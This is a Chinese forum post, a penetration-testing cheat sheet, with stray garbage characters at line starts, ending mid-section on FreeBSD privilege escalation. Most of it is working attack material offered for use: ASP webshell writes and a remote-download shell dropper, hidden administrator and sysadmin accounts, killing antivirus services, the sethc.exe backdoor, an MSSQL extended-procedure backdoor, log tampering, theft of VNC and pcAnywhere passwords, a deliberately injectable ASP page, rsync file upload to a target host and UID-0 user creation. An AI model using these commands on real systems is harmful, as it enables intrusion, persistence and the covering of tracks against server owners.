渗透技巧总结

admin

旁站路径问题
7 R: I  Y4 l5 a6 Q) P: z' k. \6 m1、读网站配置。
  l/ w8 J0 T5 J' N+ w1 e: w2 v: F2、用以下VBS
( r! U/ D2 e* v% M* K% FOn Error Resume Next
$ d6 q8 u' Y5 s4 q6 _If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
; e' @. n; o$ f1 A& M0 I* F4 _
1 f) g4 w: w6 X3 R9 z6 VMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

4 p/ ~, V0 }7 r% `+ q' FUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
! g: G7 a0 G' wSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
4 Y/ L# s7 j1 I# bFor Each obj3w In objservice
; _. F% I7 m" w! n' J9 y  s        If IsNumeric(obj3w.Name)

5 G, Y8 N. Z" YThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

: L0 o3 J8 ?5 T$ V       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

8 B9 \1 h; |9 w% n<> 0 Then WScript.Quit (1)
2 Z4 J4 d) k& t! k                WScript.Echo Chr(10) & "[" &
$ u6 F4 k! u* l7 G& Y8 F
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
' e4 E. V  E1 Y5 g     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
$ ~. p9 w+ n/ B& b' K+ k                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
5 c/ u1 t6 i5 {3 Y0 J      
& Z" g0 t, {9 F: T
         WScript.Echo "ath            : " & VDirObj.Path
        End If
, j4 b- u+ _; QNext
6 N/ R% x' }& k" c+ ~% P9 x, O复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
3 v8 l' A! E: CWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
4 w( R% m7 r' ?# Curl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
! |2 G0 y4 u- r. I9 MphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
% Y0 P8 ]2 G# E, Aphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
1 f8 z+ {2 R. Q! w! l3 ~网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
( C" R- f6 D2 E/ Z, F4 u$ _- N————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
- n! L9 J( E( @8 }! v3 ?% _* R8 inetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
" U6 W7 ~. p( Q2 h- D& Unetsh ras ip show config #查看VPN分配IP的方式
. t9 |" c; ^+ ?netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
  C  O) W7 ~8 K2 M5 ?- @  G# [6 N————————————————————
命令行下添加SQL用户的方法
7 j. Q, r1 d* @' |, u" u: U% A需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
/ A8 i3 @# j% S9 e' BEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
1 U4 @" I* S# H' a% T* M在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
* S8 x$ m; ^0 e4 j# M/ Q! Z5 Bz=o.create("test") ;
( n8 F% m4 g/ {- fz.changePassword("123456","")
8 i* n. B* u  n$ [z.setting("AccountType")=3;
$ v# B( X) J% [6 j* d. y
4 K$ x, c0 s" V- xvbs:
Set   o=CreateObject( "Shell.Users" )
+ d! f4 s; F# T  r" zSet z=o.create("test")
: @& t& W& ?. sz.changePassword "123456",""
, n* z8 b  L& I( r5 Q" M. Q* uz.setting("AccountType")=3
7 f# ?3 n8 v3 M' d. l1 i——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
/ K# j6 w3 n9 m1 Zcacls c: /e /t /g everyone:F           #c盘everyone权限
% q4 F) j) S5 w# R* Qcacls "目录" /d everyone               #everyone不可读，包括admin
% ~; I: F+ M, O1 A————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
/ p2 f+ a  @0 r6 W& C# Hb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
# u2 p# T# R7 K% l% _: a8 K' K* u. w
; ?* o9 H/ T! ?6 X0 X" `  z: n4 r杀软关闭（把杀软所在的文件的所有权限去掉）
3 e, z8 l3 X+ h* x# K2 Z7 x处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
# }  s$ N! s& _" n# M  D) {  Snet stop "Symantec Event Manager" /y
$ I+ Y5 O6 |. h3 x9 [7 |net stop "System Event Notification" /y
( I2 f# ?/ J8 [0 O) A- S9 Bnet stop "Symantec Settings Manager" /y

* A4 r8 I; J0 k) q9 J+ w卖咖啡：net stop "McAfee McShield"
————————————————————
) Q  w; u# |3 D1 N( O
5次SHIFT：
2 s0 ?/ q9 [5 m! g  d+ Z9 Jcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
3 c& ]- t6 [* Y隐藏账号添加：
7 C8 v( B7 U5 M5 y* u1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
! P* ~5 t& k3 p" T! _——————————————————————
+ ?8 _9 Y) \" i5 S* ?' t& EMSSQL扩展后门：
USE master;
- B" K' @0 o4 Y6 c; R0 i0 UEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
6 a3 {' |5 s+ ^! Q日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
: z. R! P$ j! j7 `+ X( K  ]- t. M当停止msftpsvc服务后可直接删除ex011124.log

1 i1 U: r( [% `; I& ~' aMSSQL查询分析器连接记录清除：
: \) K3 ^. o6 j# j# tMSSQL 2000位于注册表如下：
  j5 t  u3 ~' D1 B1 M  b3 ~5 p- wHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
% ^: R1 S' S: _8 b8 n& TMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
: ^2 K0 V& f2 X3 v0 z# ^% l
Server\90\Tools\Shell\mru.dat
/ M. U2 j" P: {0 r! y8 E* }* E—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
3 t: a* V! }& B# l7 t# }
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
% N( @! L& s( D1 N; @4 C0 i) qDim Ads, Retrieval, GetRemoteData
/ y3 ?; |3 d" q+ f7 g$ o+ F2 T6 kOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
; U7 Q% W. q/ w0 v9 K! y' e: k.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
2 v5 \& D' a$ aGetRemoteData = .ResponseBody
! h) [) h1 @8 N$ b* X1 c: U' YEnd With
7 K7 P" w1 N, Q2 KSet Retrieval = Nothing
$ F+ W% d9 a9 ]Set Ads = Server.CreateObject("Adodb.Stream")
6 q$ F# P7 v' @5 C) g; bWith Ads
.Type = 1
.Open
.Write GetRemoteData
! F- ^) U  {7 y% |- s$ G( i.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
2 i, F/ y8 e) p- ]) }) D, P* N.Close()
End With
Set Ads=nothing
End Sub

* O' I9 U5 a: t0 x4 |7 \7 aeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

+ [$ p4 x+ h) @9 rVNC提权方法:
! i( F; W5 C# x* y8 v. N3 q# @. n利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
- X0 i0 O1 s3 o- I! Uregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
1 i6 x' f2 H, }( H  O/ zHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
$ G  l* G! d  OHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
3 K& a; x4 q) r5 y' E4 r5 d+ |然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
4 N- ?9 T8 J: i5 R7 o保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
; [& R" e- O3 l  m搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
) k; ?5 b3 _3 ^2 F! e——————————————————----------
# w4 K4 N3 F  ]  d7 dWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
0 x8 h7 e. E1 e3 k* n5 v2 h来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
5 u& U0 }# C; p* F
& J$ D- P4 Y0 ?* a+ |+ ~: z4 `1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
* b+ _  p  P% i3 G- a$ @$ estrSQLDBPassword = "数据库密码"
3 B5 ^; \5 W7 q( q1 C* _& tstrSQLDBName = "数据库名称"
% i; z0 M9 t1 u1 M1 T6 eSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

) r5 J0 ]% _, ]# v# R  B";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
# `, L; e0 ]# [# l
7 y* e2 C  A- m2 ]7 r; e; d' IstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
; S5 D# w+ E9 N$ t) e复制代码
8 D: z% P% m1 I# _7 i# g# k8 p; r******liunx 相关******
2 y/ O1 {5 f, M$ S& K一.ldap渗透技巧
, g. f: e$ x! v& @3 k1.cat /etc/nsswitch
5 h: s. m5 i+ O% o& {2 F& @& B' @看看密码登录策略我们可以看到使用了file ldap模式
( I% u0 k# U$ t& N  W& c. f" ]2 a
: i: {% N) O: q2 [9 x! H  O2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
: A( R. t5 q% ~ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

2 S% ^  M) g0 O5 t  k"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! E$ u: d; X$ ^" }4 k  C* C1 y
实战:
7 ~8 ~8 E/ _/ X7 X  t& i1.cat /etc/nsswitch
8 M  W/ B5 I9 K) H2 d# v5 t看看密码登录策略我们可以看到使用了file ldap模式
1 r7 \2 F6 q* g7 e! T# I& I! a
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
3 ]1 A2 R3 k* R9 h! g/ T找到ou,dc,dc设置
7 a( d; ]3 F( H. I* c) `- S
" V* y: R& K& G& ?; H0 j4 u- `9 x" z3.查找管理员信息
) |$ B7 p0 [' v+ I5 ]匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ o) ]9 L4 j: j& t0 o有密码形式
0 s0 P% ~6 ?& b1 m( m/ M* T1 u6 y" nldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

; T% _5 X+ u1 u/ }% O+ U"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

" y- p1 v" w9 k- X& x8 C9 E" V% Z( P
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
6 }. _. }8 Y2 n1 h! Lldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
, j  W( N! g6 mversion: 1
0 ^9 `; Y3 C: ldn: dc=ruc,dc=edu,dc=cn
+ \! w9 H  J7 N6 z6 Ydc: ruc
  O  o; |, `; z. T* PobjectClass: domain
7 g* z7 X  K, Q7 o3 @5 V
4 r) K+ r9 o. z" [8 U$ Ldn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
- b- t$ @0 D0 h. n/ XobjectClass: inetOrgPerson
objectClass: organizationalPerson
0 }9 }1 k8 i' s+ H& O& oobjectClass: person
objectClass: top
sn: manager
" M7 b  E+ M) @0 zcn: manager

) j# W$ K0 p# Pdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
6 B7 [# P' s) E8 H. ~9 jobjectClass: organizationalPerson
& Y) J0 W% P+ [objectClass: person
: j7 d- i7 r& Y8 F$ s6 A( a+ cobjectClass: top
sn: superadmin
/ b, q& ~; H. m  L# d) Q$ _cn: superadmin
9 Q4 g$ n# A7 n9 ]" z
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
6 }9 o4 D  `8 ?) w( QobjectClass: inetOrgPerson
/ B' I" y+ k5 H: M) OobjectClass: organizationalPerson
objectClass: person
objectClass: top
* \8 T; _6 S$ P% L! asn: admin
+ d6 B9 I# k! q' T$ [2 i) ncn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
- N7 V) a8 e- d# W$ _1 P2 k, [* t2 Uuid: dcp_anonymous
3 r& B) {0 w8 z% [* a2 LobjectClass: top
objectClass: person
* D0 v" L" ]/ q" U7 m& L* @objectClass: organizationalPerson
0 ~8 D! a6 ], Q; fobjectClass: inetOrgPerson
sn: dcp_anonymous
* f( A; Y2 ?8 `cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
; l% c) J* d. ~  I% Q% G) g, o
( f. M6 A$ X! x3 R* G, qmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
' a" G9 s; \0 Z8 i' l( iobjectClass: domain

& H  f; {+ \- p% r0 N3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
# Y: x/ z, K7 F  [, qdn:
9 {- K7 i6 h) n7 y* M7 zobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
2 J1 k8 x) H3 L$ ysupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
# c  I# L! ?- i# A" o& e( z' ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
$ d9 p, P4 C' X$ b& ?supportedExtension: 2.16.840.1.113730.3.5.5
1 x9 u& G+ R. v% ^4 asupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
, l: h" a" r3 \/ osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
, R& Y$ h! P# k9 {/ PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
* @8 e! K( i$ p6 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
% M2 Z8 ]. y% n2 e0 E) g+ BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
! J4 e: @4 V! z7 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
  Y6 Z: o( p- B$ l4 @; \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
3 k. }( s7 i: C7 b  U6 v# Z. Z% R7 _: {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
4 R. {: ^! W/ r. QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
# E7 Y6 \  z9 j, Q# R: Q! ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
% ]& @1 L  Z3 O3 |( NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
; G/ ^* E5 Y  o, B& ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
3 F  q4 \4 F' L  [/ I! SsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
  v$ T! X: p  h- m1 u/ Q5 [/ }/ osupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
. z" i* s& T, l+ ]supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
5 I, z0 t2 w7 J, wsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
5 g4 d; ^, [+ W# c- h& [5 P( [supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
8 @; \# w7 q0 f6 s6 ?supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
1 l0 Z9 l# |) ?/ [: L- R# T) DsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
' b, u( J/ W& l% Y* ]supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
& Z9 V2 i% c1 K* UsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
- P/ A3 y3 D( SsupportedControl: 2.16.840.1.113730.3.4.12
0 u& g" n# P# @supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
; c# |  `  w$ q' k3 n! \2 NsupportedSASLMechanisms: DIGEST-MD5
" Y5 e8 \! v" O, g( Q" ^# wsupportedLDAPVersion: 2
supportedLDAPVersion: 3
% D6 P4 m0 p( IvendorName: Sun Microsystems, Inc.
. W6 t6 L/ {3 a* G6 ZvendorVersion: Sun-Java(tm)-System-Directory/6.2
, y4 r7 w8 \/ A- Z) D2 F( Tdataversion: 020090516011411
1 o  f: R/ @, @3 X* xnetscapemdsuffix: cn=ldap://dc=webA:389
! B( z# B0 D0 K& osupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
3 ]8 g$ F! \/ c& R9 a3 z( S! |! CsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0 A( ^1 C  H0 [+ ^" D( c" s! ^supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
' Q2 {# F2 p* R/ CsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
& R: J8 F8 n' ?+ }; msupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
/ ^9 Q/ p; G; e# AsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
4 R' m; B* P3 G2 D- d( Z0 `supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
* a7 `/ o9 a2 C2 d/ y; V0 a9 Y1 FsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
& g8 c2 e# F2 usupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
1 W6 O5 p: ^5 F2 ^+ N$ J! PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
- J; T: I0 ]6 Z' _4 WsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
$ V4 \( p7 \. r1 zsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
* K8 |1 m5 t* n3 gsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
! B+ t! B- g  OsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
  O( r/ A; c; p! ^3 j, IsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
4 d$ C0 ^5 {% T1 f6 A. hsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
, b% h0 D4 x- O- ?  ?! ssupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
. ]$ _- t" g2 J' UsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
4 n2 h1 O; `( J- P, nsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
6 S' A7 l5 b  {6 i) N! n/ fsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
% K3 ~  l& Y/ X( _2 g7 K" [supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
0 @9 N, l! b7 R" msupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
! v3 v: u% J4 F* BsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
- `9 o8 @: c& }( f6 I6 h+ C+ n: g( rsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
9 Z( L: q$ p4 s# |# gsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
. f6 J. c/ h# ~! t) hsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
: v1 i; @# ]3 o2 m4 RsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
! O5 c! j" j  e$ R1 msupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
$ e( b+ e, p) R9 ~3 m1 u2 l' w4 EsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
9 V6 u8 G3 V% o3 MsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
, D( @/ O8 ?9 v% z8 l0 t/ U————————————
- ~4 H/ K8 h+ e& Y9 {5 H2. NFS渗透技巧
7 f4 R  W% F+ y* cshowmount -e ip
% ~0 |& h5 s' i# [5 X$ T9 x列举IP
# q8 s9 M/ S. z8 ?8 A; |1 [——————
4 G  |  `7 I, }8 C' W3.rsync渗透技巧
( J1 m& D/ N. R. o/ y1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
9 m  x+ T  F" G  ?6 C* ^/ R; ]img_auto
+ [; a5 R9 `9 J% i3 b" S6 Q6 \html_cms
$ L* c) R. H( F' L- ?" @img_cms
# T8 U/ m: |- x% Jent_cms
ent_img
ceshi
res_img
res_img_c2
& R* m4 |0 {+ C6 Y2 _7 xchip
chip_c2
# S( b. d- U) I% ~ent_icms
games
* I  `' ^+ ]2 O" q! C1 T- @gamesimg
  ~2 G' m) D& i0 P# Q$ f1 W, ^/ Mmedia
mediaimg
! P- I3 A7 H# s) t9 c6 ^. `2 Tfashion
, H5 d9 r# o) O% o" v6 qres-fashion
res-fo
7 k; M, [, y4 C$ }taobao-home
3 e- M9 y5 m' B7 r/ I, E' @  Pres-taobao-home
house
1 r& y8 f) R/ y( l7 bres-house
" k0 m* O  c7 w, e6 L- g% Y; Fres-home
res-edu
res-ent
1 Y9 Z# A6 g( _& ~: jres-labs
6 Y6 v" L9 W# z8 d4 ^9 Ores-news
2 b& d5 y2 Z1 F0 @res-phtv
5 q! X# Z3 z- q# m/ `7 qres-media
7 v& d3 L( Q. O; `9 shome
6 n. J$ r/ Y" S' H* S- m2 h2 ^edu
news
4 X! Z6 C8 f7 x9 Z" Yres-book

) r- L3 R1 w! q1 z0 O看相应的下级目录(注意一定要在目录后面添加上/)
+ ?2 m8 n2 E$ N" p% w* }! c. R
$ p" r! a) U0 n, A5 I
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
, N" G; C  a& C, \+ E
2.下载rsync服务器上的配置文件
' D% F2 y: p2 I! c2 Zrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
6 y, b9 S' _8 f! {
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
& q! Z' ~% n8 O  i' z4 C' p+ \
) o3 W0 M) \- }* p7 U9 O4 Y四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
( C9 x9 P" C% Z5 `- C; lGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
* @, |( u+ U% E* y) J确定版本
4 H# O& a, k4 J( a6 m3 |index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
  c+ P* K( o3 t& a
: S- X* k. U2 B6 Q1 I8 i15&catid=32:languages&Itemid=47

* m9 }& T6 s, ?重新设置密码
& T3 n2 o; v' ]# O# k+ I+ Sindex.php?option=com_user&view=reset&layout=confirm
$ a+ \- K5 s, j) J7 `! f1 ?
( [  u- q5 j) M$ G+ z$ l七: Linux添加UID为0的root用户
- _  R" \4 i  b8 U' J/ o" x; Iuseradd -o -u 0 nothack
6 N$ R+ a: m5 C$ j. }' n3 z( h$ n
% ?& r0 @$ N6 B" a! e  W7 q8 P4 ?八.freebsd本地提权
[argp@julius ~]$ uname -rsi
4 K/ i* q3 M/ g7 q, v4 [* freebsd 7.3-RELEASE GENERIC
